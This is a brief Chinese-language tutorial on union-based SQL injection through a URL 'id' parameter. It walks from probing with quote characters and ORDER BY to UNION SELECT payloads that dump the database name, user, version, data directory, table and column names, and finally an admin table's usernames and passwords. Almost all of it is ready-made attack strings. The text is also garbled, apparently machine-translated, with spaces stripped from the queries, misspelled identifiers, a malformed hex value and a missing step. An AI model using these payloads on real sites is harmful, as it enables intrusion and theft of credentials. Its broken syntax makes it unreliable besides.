sql注入步骤:
1、首先观察网站传输数据是通过GET还是POST方法:
A。 如果是GET传输,则在url中输入?id=1'或“or then')来测试是否存在sql注入。
b. 如果是POST传输,则在输入框中输入?id=1'或“or then'),测试是否存在sql注入。
2、测试完成后,发现有注入,进行注入。 首先,测试了多少种形式:
a.?id=1orderby* (*number为数字)来测试,
a.?id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
(获取回显表格)
4、测量回波数据后php注入工具,可以查询:
A。 查询当前数据库:?id=1and1=2unionselect1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15--+
b. 查询用户名:?id=1and1=2unionselect1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15--+
C。 查询数据库版本:?id=1and1=2unionselect1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15--+
d. 查询完整文件位置:?id=1and1=2unionselect1,2,@@datadir,4,5,6,7,8,9,10,11,12,13,14,15--+
5、获取以上数据并进行全局查询:
A。 查询数据库:?id=1and1=2unionselect1,2,group_concat(convert(tabal_nameusinglatin1)),4,5,6,7,8,9,10,11,12,13,14,15frominformation_schema.SCHEMATA
b. 查询数据库表:?id=1and1=2unionselect1,2,group_concat(convert(SCHEMA_HAMEusing
latin1)), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 frominformation_schema.tabaleswheretable_schema=database() (查询database()中的表)
C。 查询数据表中的列:?id=1and1=2unionselect1,2,group_concat(convert(column_nameusing
latin1)),4,5,6,7,8,9,10,11,12,13,14,15frominformation_schema.columnswheretable_name=0x636D735F75736557273(CMSUSER)#表名需要编码为16补码
d. 查询管理员帐号和密码:?id=1and1=2unionselect1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14 ,15fromcms. CMS_用户